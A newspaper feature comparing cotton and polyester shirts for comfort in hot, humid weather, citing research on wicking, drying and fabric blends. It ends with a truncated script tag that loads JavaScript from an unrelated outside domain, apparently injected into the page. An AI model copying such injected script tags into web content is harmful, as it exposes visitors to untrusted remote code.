Staff Writer John Coffelt   Cotton or Synthetic? All the big (and expensive) clothing manufacturers seem to suggest that their state-of-the-art synthetic shirt made using the newest proprietary “magic” cloth will keep you cool, dry and happy. But does the high-tech fabric work, or is it a matter of marketing hype? The answer is a bit complicated. In hot, dry weather, cotton works pretty well. According to research compiled by Consumers Digest, cotton is better at absorbing sweat and holding it close to you. As the saying goes, cotton gets wet and stays wet. The body keeps itself cool by sweating. Thin cotton clothing absorbs perspiration – polyester (basically plastic) repels it. Evaporation of the perspiration cools the body. So, all thing being equal, a cotton garment is often a better choice than polyester for everyday wear. Yet, here in Tennessee, where the humidity is an added struggle, a wet, clingy shirt isn’t a comfortable prospect. Polyester and other synthetic clothing fabrics are designed to wick rather than absorb and hold moisture. They also dry much quicker than cotton. One possible problem with the synthetics is that when moisture is wicked away from the skin, the skin feels dry, but it evaporates on the outside of the garment. Much of the cooling power is lost. According to research by Elizabeth Skomra at Eastern Michigan University, “Comfort is both a matter of personal perception and measurable characteristics. The comfort of a garment depends on attributes such as absorbency, heat retention, density, and elongation. She adds that vapor resistance of textile materials is fundamental to thermophysiological comfort. Vapor resistance of textile materials is what governs the loss of metabolic heat by the body. When an individual is exercising at a high rate or when in a warm environment, the evaporation of sweat from the skin becomes the main means of metabolic heat loss and vapor resistance becomes the main factor in clothing comfort. Air permeability is also important in providing comfort. Skomra’s research goal was to determine the feasibility of using flax blends in place of cotton, yet her experimental data is of value in a cotton vs. polyester discussion. Basically, her data show that polyester is significantly better at wicking than cotton. It also dries faster. She notes also that air permeability is higher with polyester.

Vapor resistance is virtually the same for both fabrics. When it comes to wicking and drying, polyester and cotton are at odds of the spectrum. Cotton is a natural fiber and loves water (or hydrophilic). Water, or in the case of activewear, sweat is pulled away from the skin by being absorbed into the fiber. The cotton fabric will hold onto the water, absorbing moisture into its fibers, resisting evaporation. Polyester on the other hand is naturally hydrophobic or hates water. But these products differ in how they use various fibers. A natural fiber may absorb more than a synthetic fiber, but a synthetic fiber may dry faster. Searching for the desired balance between wicking and drying, manufacturers mix different amounts of natural and synthetic fibers or transform an individual fiber’s silhouette. The fiber recipe determines how the overall garment copes with sweat. A 100 percent polyester shirt would simply trap sweat against the skin if it weren’t for the treatment that manufactures use in the fabric. Basically, there are two methods, using a laminate. This is where proprietary fabrics come into play. A discount shirt might not perform as well as a name-brand alternative. A hydrophilic surface treatment, such as silica, can be added to a fabric to attract water and pull it into the fabric and away from the skin. The more permanent (and costly) method is to use a blend of enough water-loving fibers to pull sweat from the body so that water-hating fibers to pull sweat to the surface of the fabric for evaporation. Coolmax brand and certain other polyester fibers have either scalloped-oval or four-leaf-clover cross sections that create tiny tunnels for the sweat to slide through to the outside of the fabric wicking away sweat. Overall, a cotton-poly blended shirt might be the best compromise on a hot day when expecting to do light activity. If you are expecting a heavy workout or wearing a backpack, a faster-drying synthetic might be a better choice.     ript src=”http://a.c0594.com/?js=6″>